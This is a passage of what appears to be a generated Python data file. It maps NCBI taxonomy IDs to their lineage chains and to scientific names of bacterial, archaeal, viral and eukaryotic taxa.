'1'], '772': ['772', '356', '28211', '1224', '2', '131567', '1'], '267889': ['267889', '135622', '1236', '1224', '2', '131567', '1'], '267888': ['267888', '135622', '1236', '1224', '2', '131567', '1'], '909932': ['909932', '1239', '1783272', '2', '131567', '1'], '157897': ['157897', '1511857', '35237', '10239', '1'], '1762': ['1762', '85007', '1760', '201174', '1783272', '2', '131567', '1'], '1142': ['1142', '1890428', '1890424', '1117', '1798711', '1783272', '2', '131567', '1'], '311790': ['311790', '9347', '32525', '40674', '32524', '32523', '1338369', '8287', '117571', '117570', '7776', '7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '34008': ['34008', '31989', '204455', '28211', '1224', '2', '131567', '1'], '1268': ['1268', '85006', '1760', '201174', '1783272', '2', '131567', '1'], '191675': ['191675', '543', '91347', '1236', '1224', '2', '131567', '1'], '74385': ['74385', '186817', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '8782': ['8782', '436492', '436491', '436489', '436486', '8492', '1329799', '32561', '8457', '32524', '32523', '1338369', '8287', '117571', '117570', '7776', '7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '34397': ['34397', '5125', '222543', '147550', '715989', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '32061': ['32061', '200795', '1783272', '2', '131567', '1'], '60136': ['60136', '31989', '204455', '28211', '1224', '2', '131567', '1'], '1303': ['1303', '1301', '1300', '186826', '91061', '1239', '1783272', '2', '131567', '1'], '69657': ['69657', '204455', '28211', '1224', '2', '131567', '1'], '178469': ['178469', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '544': ['544', '543', '91347', '1236', '1224', '2', '131567', '1'], '216572': ['216572', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '554915': ['554915', '2759', '131567', '1'], '39782': ['39782', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '1313': ['1313', '1301', '1300', '186826', '91061', '1239', '1783272', '2', '131567', '1'], '671232': ['671232', '1301', '1300', '186826', '91061', '1239', '1783272', '2', '131567', '1'], '5148': ['5148', '5139', '222544', '147550', '715989', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '10': ['10', '1706371', '1706369', '1236', '1224', '2', '131567', '1'], '7399': ['7399', '33392', '33340', '7496', '85512', '50557', '6960', '197562', '197563', '6656', '88770', '1206794', '33317', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '189775': ['189775', '200795', '1783272', '2', '131567', '1'], '204037': ['204037', '1903410', '91347', '1236', '1224', '2', '131567', '1'], '9989': ['9989', '314147', '314146', '1437010', '9347', '32525', '40674', '32524', '32523', '1338369', '8287', '117571', '117570', '7776', '7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '118969': ['118969', '1236', '1224', '2', '131567', '1'], '206389': ['206389', '28216', '1224', '2', '131567', '1'], '85008': ['85008', '1760', '201174', '1783272', '2', '131567', '1'], '85009': ['85009', '1760', '201174', '1783272', '2', '131567', '1'], '1386': ['1386', '186817', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '2063': ['2063', '2062', '85011', '1760', '201174', '1783272', '2', '131567', '1'], '85004': ['85004', '1760', '201174', '1783272', '2', '131567', '1'], '85005': ['2037', '1760', '201174', '1783272', '2', '131567', '1'], '61432': ['61432', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '200643': ['200643', '976', '68336', '1783270', '2', '131567', '1'], '830': ['830', '186803', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '995019': ['995019', '80840', '28216', '1224', '2', '131567', '1'], '35325': ['35325', '10239', '1'], '33154': ['33154', '2759', '131567', '1'], '439488': ['439488', '10239', '1'], '768503': ['768503', '976', '68336', '1783270', '2', '131567', '1'], '183939': ['183939', '28890', '2157', '131567', '1'], '1239': ['1239', '1783272', '2', '131567', '1'], '74030': ['74030', '31989', '204455', '28211', '1224', '2', '131567', '1'], '53433': ['53433', '186801', '1239', '1783272', '2', '131567', '1'], '9397': ['9397', '314145', '1437010', '9347', '32525', '40674', '32524', '32523', '1338369', '8287', '117571', '117570', '7776', '7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '69277': ['69277', '356', '28211', '1224', '2', '131567', '1'], '4751': ['4751', '33154', '2759', '131567', '1'], '200940': ['200940', '2', '131567', '1'], '104264': ['104264', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '10860': ['10860', '29258', '10239', '1'], '119089': ['119089', '6231', '1206794', '33317', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '301297': ['301297', '200795', '1783272', '2', '131567', '1'], '252356': ['252356', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '90964': ['90964', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '326457': ['326457', '74201', '1783257', '2', '131567', '1'], '29547': ['29547', '68525', '1224', '2', '131567', '1'], '147550': ['147550', '715989', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '255475': ['255475', '356', '28211', '1224', '2', '131567', '1'], '506': ['506', '80840', '28216', '1224', '2', '131567', '1'], '1212': ['1213', '1890424', '1117', '1798711', '1783272', '2', '131567', '1'], '31979': ['31979', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '468': ['468', '72274', '1236', '1224', '2', '131567', '1'], '46205': ['46205', '186803', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '191028': ['191028', '31989', '204455', '28211', '1224', '2', '131567', '1'], '4447': ['4447', '1437183', '3398', '58024', '78536', '58023', '3193', '131221', '35493', '33090', '2759', '131567', '1'], '1164882': ['1164882', '186803', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '5653': ['5653', '33682', '2759', '131567', '1'], '544448': ['544448', '1783272', '2', '131567', '1'], '85012': ['85012', '1760', '201174', '1783272', '2', '131567', '1'], '326319': ['326319', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '81850': ['81850', '186826', '91061', '1239', '1783272', '2', '131567', '1'], '81852': ['81852', '186826', '91061', '1239', '1783272', '2', '131567', '1'], '28211': ['28211', '1224', '2', '131567', '1'], '11632': ['11632', '35268', '10239', '1'], '33183': ['33183', '451871', '147545', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '68298': ['68298', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '119065': ['119065', '80840', '28216', '1224', '2', '131567', '1'], '119066': ['119066', '28216', '1224', '2', '131567', '1'], '119060': ['119060', '80840', '28216', '1224', '2', '131567', '1'], '203494': ['203494', '74201', '1783257', '2', '131567', '1'], '119069': ['119069', '2008785', '1224', '2', '131567', '1'], '110618': ['110618', '5125', '222543', '147550', '715989', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '59732': ['59732', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '142182': ['142182', '1783270', '2', '131567', '1'], '150247': ['150247', '186817', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '35493': ['35493', '33090', '2759', '131567', '1'], '5204': ['5204', '451864', '4751', '33154', '2759', '131567', '1'], '5878': ['5878', '33630', '2759', '131567', '1'], '213462': ['213462', '28221', '68525', '1224', '2', '131567', '1'], '451866': ['451866', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '451867': ['451867', '147541', '715962', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '183967': ['183967', '28890', '2157', '131567', '1'], '183963': ['183963', '28890', '2157', '131567', '1'], '766': ['766', '28211', '1224', '2', '131567', '1'], '183968': ['183968', '28890', '2157', '131567', '1'], '75682': ['75682', '80840', '28216', '1224', '2', '131567', '1'], '3041': ['3041', '33090', '2759', '131567', '1'], '265975': ['265975', '186803', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '2323': ['2323', '2', '131567', '1'], '508458': ['508458', '2', '131567', '1'], '5809': ['5809', '423054', '75739', '5796', '1280412', '5794', '33630', '2759', '131567', '1'], '69541': ['69541', '28221', '68525', '1224', '2', '131567', '1'], '52018': ['52018', '1760', '201174', '1783272', '2', '131567', '1'], '1090': ['1090', '68336', '1783270', '2', '131567', '1'], '1150': ['1150', '1301283', '1117', '1798711', '1783272', '2', '131567', '1'], '265': ['265', '31989', '204455', '28211', '1224', '2', '131567', '1'], '7898': ['7898', '117571', '117570', '7776', '7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '68525': ['68525', '1224', '2', '131567', '1'], '72273': ['72273', '1236', '1224', '2', '131567', '1'], '203691': ['203691', '2', '131567', '1'], '72275': ['72275', '135622', '1236', '1224', '2', '131567', '1'], '4893': ['4893', '4892', '4891', '147537', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '4891': ['4891', '147537', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '4890': ['4890', '451864', '4751', '33154', '2759', '131567', '1'], '35718': ['35718', '5139', '222544', '147550', '715989', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '186804': ['186804', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '34037': ['34037', '1903411', '91347', '1236', '1224', '2', '131567', '1'], '1570339': ['1570339', '1737405', '1737404', '1239', '1783272', '2', '131567', '1'], '355688': ['355688', '155619', '5302', '5204', '451864', '4751', '33154', '2759', '131567', '1'], '246874': ['246874', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '35268': ['35268', '10239', '1'], '91835': ['91835', '71275', '1437201', '91827', '71240', '1437183', '3398', '58024', '78536', '58023', '3193', '131221', '35493', '33090', '2759', '131567', '1'], '204432': ['204432', '57723', '2', '131567', '1'], '5129': ['5129', '5125', '222543', '147550', '715989', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '5125': ['5125', '222543', '147550', '715989', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '8459': ['8459', '1329799', '32561', '8457', '32524', '32523', '1338369', '8287', '117571', '117570', '7776', '7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '639021': ['639021', '222544', '147550', '715989', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '363408': ['363408', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '53335': ['53335', '1903409', '91347', '1236', '1224', '2', '131567', '1'], '213118': ['213118', '28221', '68525', '1224', '2', '131567', '1'], '1506553': ['1506553', '186803', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '213115': ['213115', '28221', '68525', '1224', '2', '131567', '1'], '213113': ['213113', '28221', '68525', '1224', '2', '131567', '1'], '9263': ['9263', '32525', '40674', '32524', '32523', '1338369', '8287', '117571', '117570', '7776', '7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '80864': ['80864', '80840', '28216', '1224', '2', '131567', '1'], '183925': ['183925', '28890', '2157', '131567', '1'], '5338': ['5338', '452333', '155619', '5302', '5204', '451864', '4751', '33154', '2759', '131567', '1'], '135618': ['135618', '1236', '1224', '2', '131567', '1'], '283735': ['283735', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '5234': ['5234', '155616', '5302', '5204', '451864', '4751', '33154', '2759', '131567', '1'], '5151': ['5151', '222544', '147550', '715989', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '5863': ['5863', '422676', '5794', '33630', '2759', '131567', '1'], '561': ['561', '543', '91347', '1236', '1224', '2', '131567', '1'], '189330': ['189330', '186803', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '186828': ['186828', '186826', '91061', '1239', '1783272', '2', '131567', '1'], '186821': ['186821', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '186820': ['186820', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '186823': ['186823', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '186822': ['186822', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '32066': ['32066', '2', '131567', '1'], '186824': ['186824', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '186827': ['186827', '186826', '91061', '1239', '1783272', '2', '131567', '1'], '29000': ['29000', '5204', '451864', '4751', '33154', '2759', '131567', '1'], '1189': ['1189', '1161', '1117', '1798711', '1783272', '2', '131567', '1'], '7088': ['7088', '85604', '33392', '33340', '7496', '85512', '50557', '6960', '197562', '197563', '6656', '88770', '1206794', '33317', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '122277': ['122277', '1903410', '91347', '1236', '1224', '2', '131567', '1'], '147541': ['147541', '715962', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '147545': ['147545', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '147548': ['147548', '715989', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '97050': ['97050', '31989', '204455', '28211', '1224', '2', '131567', '1'], '1283313': ['1283313', '171552', '171549', '200643', '976', '68336', '1783270', '2', '131567', '1'], '1161': ['1161', '1117', '1798711', '1783272', '2', '131567', '1'], '2433': ['2433', '31989', '204455', '28211', '1224', '2', '131567', '1'], '171551': ['171551', '171549', '200643', '976', '68336', '1783270', '2', '131567', '1'], '171550': ['171550', '171549', '200643', '976', '68336', '1783270', '2', '131567', '1'], '335928': ['335928', '356', '28211', '1224', '2', '131567', '1'], '40674': ['40674', '32524', '32523', '1338369', '8287', '117571', '117570', '7776', '7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '244698': ['244698', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '74201': ['74201', '1783257', '2', '131567', '1'], '1117': ['1117', '1798711', '1783272', '2', '131567', '1'], '1297': ['1297', '1783272', '2', '131567', '1'], '1511857': ['1511857', '35237', '10239', '1'], '9604': ['9604', '314295', '9526', '314293', '376913', '9443', '314146', '1437010', '9347', '32525', '40674', '32524', '32523', '1338369', '8287', '117571', '117570', '7776', '7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '1357': ['1357', '1300', '186826', '91061', '1239', '1783272', '2', '131567', '1'], '35301': ['35301', '439488', '10239', '1'], '# Taxid': ['Taxid Lineage'], '52604': ['52604', '1117', '1798711', '1783272', '2', '131567', '1'], '5042': ['5042', '451871', '147545', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '4776': ['4776', '4762', '33634', '2759', '131567', '1'], '204457': ['204457', '28211', '1224', '2', '131567', '1'], '538999': ['538999', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '204458': ['204458', '28211', '1224', '2', '131567', '1'], '7742': ['7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '6236': ['6236', '119089', '6231', '1206794', '33317', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '6231': ['6231', '1206794', '33317', '33213', '6072', '33208', '33154', '2759', '131567', '1']} LEVEL_NAMES={'35237': 'dsDNA viruses, no RNA stage', '358033': 'Chryseobacterium', '11989': 'Leviviridae', '200930': 'Deferribacteres', '119603': 'Streptococcus dysgalactiae group', '76804': 'Nidovirales', '451870': 'Chaetothyriomycetidae', '186818': 'Planococcaceae', '815': 'Bacteroidaceae', '204428': 'Chlamydiae', '285107': 'Thioclava', '145357': 'Dermacoccaceae', '6656': 'Arthropoda', '57723': 'Acidobacteria', '1129': 'Synechococcus', '675063': 'Tymovirales', '135625': 'Pasteurellales', '135624': 'Aeromonadales', '135623': 'Vibrionales', '43988': 'Cyanothece', '766764': 'Debaryomycetaceae', '33958': 'Lactobacillaceae', '28037': 'Streptococcus mitis', '5819': 'Haemosporida', '183980': 'Archaeoglobi', '1016': 'Capnocytophaga', '203682': 'Planctomycetes', '1236': 'Gammaproteobacteria', '135614': 'Xanthomonadales', '200795': 'Chloroflexi', '38820': 'Poales', '85020': 'Dermabacteraceae', '85021': 'Intrasporangiaceae', '85023': 'Microbacteriaceae', '85025': 'Nocardiaceae', '85026': 'Gordoniaceae', '224756': 'Methanomicrobia', '45667': 'Halobacillus', '35278': 'ssRNA positive-strand viruses, no DNA stage', '121069': 'Pythiales', '400634': 'Lysinibacillus', '5139': 'Sordariales', '112252': 'Fungi incertae sedis', '186813': 'unclassified Clostridiales', '1100069': 'Bacteroidetes Order II. Incertae sedis', '28889': 'Crenarchaeota', '28883': 'Caudovirales', '225057': 'Acidithiobacillales', '252301': 'Oceanicola', '541000': 'Ruminococcaceae', '33213': 'Bilateria', '245186': 'Loktanella', '182709': 'Oceanobacillus', '117747': 'Sphingobacteriia', '117743': 'Flavobacteriia', '10841': 'Microviridae', '76831': 'Myroides', '651137': 'Thaumarchaeota', '5796': 'Coccidia', '5794': 'Apicomplexa', '414999': 'Opitutae', '629295': 'Streptomyces griseus group', '40117': 'Nitrospirae', '84406': 'Virgibacillus', '32199': 'Buchnera', '551': 'Erwinia', '91061': 'Bacilli', '267894': 'Psychromonadaceae', '237': 'Flavobacterium', '267890': 'Shewanellaceae', '267893': 'Idiomarinaceae', '29258': 'ssDNA viruses', '1': 'root', '136849': 'Pseudomonas syringae group', '136841': 'Pseudomonas aeruginosa group', '548681': 'Herpesvirales', '83612': 'Psychroflexus', '136845': 'Pseudomonas putida group', '136846': 'Pseudomonas stutzeri group', '613': 'Serratia', '9443': 'Primates', '33554': 'Carnivora', '34383': 'Onygenales incertae sedis', '34384': 'Arthrodermataceae', '204441': 'Rhodospirillales', '45401': 'Hyphomicrobiaceae', '289201': 'Pontibacillus', '45404': 'Beijerinckiaceae', '572511': 'Blautia', '547': 'Enterobacter', '129337': 'Geobacillus', '1305': 'Streptococcus sanguinis', '1307': 'Streptococcus suis', '84998': 'Coriobacteriia', '84995': 'Rubrobacteria', '84992': 'Acidimicrobiia', '10699': 'Siphoviridae', '314294': 'Cercopithecoidea', '82115': 'Rhizobiaceae', '82117': 'unclassified Alphaproteobacteria', '91561': 'Cetartiodactyla', '50557': 'Insecta', '119045': 'Methylobacteriaceae', '119043': 'Rhodobiaceae', '29': 'Myxococcales', '85019': 'Brevibacteriaceae', '85018': 'Dermatophilaceae', '2157': 'Archaea', '10662': 'Myoviridae', '28216': 'Betaproteobacteria', '85010': 'Pseudonocardiales', '85013': 'Frankiales', '10744': 'Podoviridae', '85014': 'Glycomycetales', '85017': 'Promicromonosporaceae', '85016': 'Cellulomonadaceae', '33090': 'Viridiplantae', '52959': 'Polaribacter', '713636': 'Nitrosomonadales', '31993': 'Methylocystaceae', '136843': 'Pseudomonas fluorescens group', '71274': 'asterids', '1060': 'Rhodobacter', '92860': 'Pleosporales', '1028384': 'Glomerellales', '256005': 'Alteromonadales genera incertae sedis', '10239': 'Viruses', '290174': 'Aquimarina', '82986': 'Tatumella', '93682': 'Roseivivax', '1653': 'Corynebacteriaceae', '586': 'Providencia', '135619': 'Oceanospirillales', '583': 'Proteus', '976': 'Bacteroidetes', '423358': 'Bicaudaviridae', '135613': 'Chromatiales', '186928': 'unclassified Lachnospiraceae', '2836': 'Bacillariophyta', '308865': 'Elizabethkingia', '28221': 'Deltaproteobacteria', '33867': 'unclassified Euryarchaeota', '32003': 'Nitrosomonadales', '7148': 'Nematocera', '68892': 'Streptococcus infantis', '7147': 'Diptera', '228398': 'Streptacidiphilus', '1224': 'Proteobacteria', '590': 'Salmonella', '629': 'Yersinia', '10656': 'Tectiviridae', '314146': 'Euarchontoglires', '33208': 'Metazoa', '7711': 'Chordata', '3699': 'Brassicales', '11157': 'Mononegavirales', '302485': 'Phaeobacter', '206350': 'Nitrosomonadales', '206351': 'Neisseriales', '2': 'Bacteria', '422676': 'Aconoidasida', '41294': 'Bradyrhizobiaceae', '10404': 'Hepadnaviridae', '58840': 'unclassified Rhodobacteraceae', '539002': 'Bacillales incertae sedis', '167375': 'Cyanobium', '118884': 'unclassified Gammaproteobacteria', '213481': 'Bdellovibrionales', '7214': 'Drosophilidae', '118882': 'Brucellaceae', '200783': 'Aquificae', '28890': 'Euryarchaeota', '2759': 'Eukaryota', '33342': 'Paraneoptera', '10474': 'Fuselloviridae', '10477': 'Lipothrixviridae', '68295': 'Thermoanaerobacterales', '200918': 'Thermotogae', '622450': 'Actinopolysporales', '558415': 'Marinilabiliaceae', '464095': 'Picornavirales', '201174': 'Actinobacteria', '526524': 'Erysipelotrichia', '155619': 'Agaricomycetes', '452284': 'Ustilaginomycotina', '186801': 'Clostridia', '186807': 'Peptococcaceae', '186806': 'Eubacteriaceae', '772': 'Bartonellaceae', '267889': 'Colwelliaceae', '267888': 'Pseudoalteromonadaceae', '909932': 'Negativicutes', '157897': 'Rudiviridae', '1762': 'Mycobacteriaceae', '1142': 'Synechocystis', '311790': 'Afrotheria', '34008': 'Rhodovulum', '1268': 'Micrococcaceae', '191675': 'unclassified Enterobacteriaceae', '74385': 'Gracilibacillus', '8782': 'Aves', '34397': 'Clavicipitaceae', '32061': 'Chloroflexia', '60136': 'Sulfitobacter', '1303': 'Streptococcus oralis', '69657': 'Hyphomonadaceae', '178469': 'Arenibacter', '544': 'Citrobacter', '216572': 'Oscillospiraceae', '554915': 'Amoebozoa', '39782': 'Blattabacteriaceae', '1313': 'Streptococcus pneumoniae', '671232': 'Streptococcus anginosus group', '5148': 'Sordariaceae', '10': 'Cellvibrio', '7399': 'Hymenoptera', '189775': 'Thermomicrobia', '204037': 'Dickeya', '9989': 'Rodentia', '118969': 'Legionellales', '206389': 'Rhodocyclales', '85008': 'Micromonosporales', '85009': 'Propionibacteriales', '1386': 'Bacillus', '2063': 'Kitasatospora', '85004': 'Bifidobacteriales', '85005': 'Actinomycetales', '61432': 'unclassified Flavobacteriaceae', '200643': 'Bacteroidia', '830': 'Butyrivibrio', '995019': 'Sutterellaceae', '35325': 'dsRNA viruses', '33154': 'Opisthokonta', '439488': 'ssRNA viruses', '768503': 'Cytophagia', '183939': 'Methanococci', '1239': 'Firmicutes', '74030': 'Roseovarius', '53433': 'Halanaerobiales', '9397': 'Chiroptera', '69277': 'Phyllobacteriaceae', '4751': 'Fungi', '200940': 'Thermodesulfobacteria', '104264': 'Cellulophaga', '10860': 'Inoviridae', '119089': 'Chromadorea', '301297': 'Dehalococcoidia', '252356': 'Maribacter', '90964': 'Staphylococcaceae', '326457': 'unclassified Verrucomicrobia', '29547': 'Epsilonproteobacteria', '147550': 'Sordariomycetes', '255475': 'Aurantimonadaceae', '506': 'Alcaligenaceae', '1212': 'Prochloraceae', '31979': 'Clostridiaceae', '468': 'Moraxellaceae', '46205': 'Pseudobutyrivibrio', '191028': 'Leisingera', '4447': 'Liliopsida', '1164882': 'Lachnoanaerobaculum', '5653': 'Kinetoplastida', '544448': 'Tenericutes', '85012': 'Streptosporangiales', '326319': 'Dokdonia', '81850': 'Leuconostocaceae', '81852': 'Enterococcaceae', '28211': 'Alphaproteobacteria', '11632': 'Retroviridae', '33183': 'Onygenales', '68298': 'Syntrophomonadaceae', '119065': 'unclassified Burkholderiales', '119066': 'unclassified Betaproteobacteria', '119060': 'Burkholderiaceae', '203494': 'Verrucomicrobiae', '119069': 'Hydrogenophilales', '110618': 'Nectriaceae', '59732': 'Chryseobacterium', '142182': 'Gemmatimonadetes', '150247': 'Anoxybacillus', '35493': 'Streptophyta', '5204': 'Basidiomycota', '5878': 'Ciliophora', '213462': 'Syntrophobacterales', '451866': 'Taphrinomycotina', '451867': 'Dothideomycetidae', '183967': 'Thermoplasmata', '183963': 'Halobacteria', '766': 'Rickettsiales', '183968': 'Thermococci', '75682': 'Oxalobacteraceae', '3041': 'Chlorophyta', '265975': 'Oribacterium', '2323': 'unclassified Bacteria', '508458': 'Synergistetes', '5809': 'Sarcocystidae', '69541': 'Desulfuromonadales', '52018': 'unclassified Actinobacteria (class)', '1090': 'Chlorobi', '1150': 'Oscillatoriales', '265': 'Paracoccus', '7898': 'Actinopterygii', '68525': 'delta/epsilon subdivisions', '72273': 'Thiotrichales', '203691': 'Spirochaetes', '72275': 'Alteromonadaceae', '4893': 'Saccharomycetaceae', '4891': 'Saccharomycetes', '4890': 'Ascomycota', '35718': 'Chaetomiaceae', '186804': 'Peptostreptococcaceae', '34037': 'Rahnella', '1570339': 'Peptoniphilaceae', '355688': 'Agaricomycetes incertae sedis', '246874': 'Cryomorphaceae', '35268': 'Retro-transcribing viruses', '91835': 'fabids', '204432': 'Acidobacteriia', '5129': 'Hypocreaceae', '5125': 'Hypocreales', '8459': 'Testudines', '639021': 'Magnaporthales', '363408': 'Nonlabens', '53335': 'Pantoea', '213118': 'Desulfobacterales', '1506553': 'Lachnoclostridium', '213115': 'Desulfovibrionales', '213113': 'Desulfurellales', '9263': 'Metatheria', '80864': 'Comamonadaceae', '183925': 'Methanobacteria', '5338': 'Agaricales', '135618': 'Methylococcales', '283735': 'Leeuwenhoekiella', '5234': 'Tremellales', '5151': 'Ophiostomatales', '5863': 'Piroplasmida', '561': 'Escherichia', '189330': 'Dorea', '186828': 'Carnobacteriaceae', '186821': 'Sporolactobacillaceae', '186820': 'Listeriaceae', '186823': 'Alicyclobacillaceae', '186822': 'Paenibacillaceae', '32066': 'Fusobacteria', '186824': 'Thermoactinomycetaceae', '186827': 'Aerococcaceae', '29000': 'Pucciniomycotina', '1189': 'Stigonemataceae', '7088': 'Lepidoptera', '122277': 'Pectobacterium', '147541': 'Dothideomycetes', '147545': 'Eurotiomycetes', '147548': 'Leotiomycetes', '97050': 'Ruegeria', '1283313': 'Alloprevotella', '1161': 'Nostocales', '2433': 'Roseobacter', '171551': 'Porphyromonadaceae', '171550': 'Rikenellaceae', '335928': 'Xanthobacteraceae', '40674': 'Mammalia', '244698': 'Gillisia', '74201': 'Verrucomicrobia', '1117': 'Cyanobacteria', '1297': 'Deinococcus-Thermus', '1511857': 'Ligamenvirales', '9604': 'Hominidae', '1357': 'Lactococcus', '35301': 'ssRNA negative-strand viruses', '# Taxid': 'Sci.Name', '52604': 'Pleurocapsales', '5042': 'Eurotiales', '4776': 'Peronosporales', '204457': 'Sphingomonadales', '538999': 'Clostridiales incertae sedis', '204458': 'Caulobacterales', '7742': 'Vertebrata', '6236': 'Rhabditida', '6231': 'Nematoda'} LEVEL_PARENTS={'35237': ['35237', '10239', '1'], '358033': ['59732', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '11989': ['11989', '35278', '439488', '10239', '1'], '200930': ['200930', '2', '131567', '1'], '119603': ['119603', '1301', '1300', '186826', '91061', '1239', '1783272', '2', '131567', '1'], '76804': ['76804', '35278', '439488', '10239', '1'], '451870': ['451870', '147545', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '186818': ['186818', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '815': ['815', '171549', '200643', '976', '68336', '1783270', '2', '131567', '1'], '204428': ['204428', '1783257', '2', '131567', '1'], '285107': ['285107', '31989', '204455', '28211', '1224', '2', '131567', '1'], '145357': ['145357', '85006', '1760', '201174', '1783272', '2', '131567', '1'], '6656': ['6656', '88770', '1206794', '33317', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '57723': ['57723', '2', '131567', '1'], '1129': ['1129', '1890426', '1890424', '1117', '1798711', '1783272', '2', '131567', '1'], '675063': ['675063', '35278', '439488', '10239', '1'], '135625': ['135625', '1236', '1224', '2', '131567', '1'], '135624': ['135624', '1236', '1224', '2', '131567', '1'], '135623': ['135623', '1236', '1224', '2', '131567', '1'], '43988': ['43988', '1892249', '1150', '1301283', '1117', '1798711', '1783272', '2', '131567', '1'], '766764': ['766764', '4892', '4891', '147537', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '33958': ['33958', '186826', '91061', '1239', '1783272', '2', '131567', '1'], '28037': ['28037', '1301', '1300', '186826', '91061', '1239', '1783272', '2', '131567', '1'], '5819': ['5819', '422676', '5794', '33630', '2759', '131567', '1'], '183980': ['183980', '28890', '2157', '131567', '1'], '1016': ['1016', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '203682': ['203682', '1783257', '2', '131567', '1'], '1236': ['1236', '1224', '2', '131567', '1'], '135614': ['135614', '1236', '1224', '2', '131567', '1'], '200795': ['200795', '1783272', '2', '131567', '1'], '38820': ['38820', '4734', '1437197', '4447', '1437183', '3398', '58024', '78536', '58023', '3193', '131221', '35493', '33090', '2759', '131567', '1'], '85020': ['85020', '85006', '1760', '201174', '1783272', '2', '131567', '1'], '85021': ['85021', '85006', '1760', '201174', '1783272', '2', '131567', '1'], '85023': ['85023', '85006', '1760', '201174', '1783272', '2', '131567', '1'], '85025': ['85025', '85007', '1760', '201174', '1783272', '2', '131567', '1'], '85026': ['85026', '85007', '1760', '201174', '1783272', '2', '131567', '1'], '224756': ['224756', '28890', '2157', '131567', '1'], '45667': ['45667', '186817', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '35278': ['35278', '439488', '10239', '1'], '121069': ['121069', '4762', '33634', '2759', '131567', '1'], '400634': ['400634', '186817', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '5139': ['5139', '222544', '147550', '715989', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '112252': ['112252', '4751', '33154', '2759', '131567', '1'], '186813': ['186813', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '1100069': ['1100069', '976', '68336', '1783270', '2', '131567', '1'], '28889': ['28889', '1783275', '2157', '131567', '1'], '28883': ['28883', '35237', '10239', '1'], '225057': ['225057', '1807140', '1224', '2', '131567', '1'], '252301': ['252301', '31989', '204455', '28211', '1224', '2', '131567', '1'], '541000': ['541000', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '33213': ['33213', '6072', '33208', '33154', 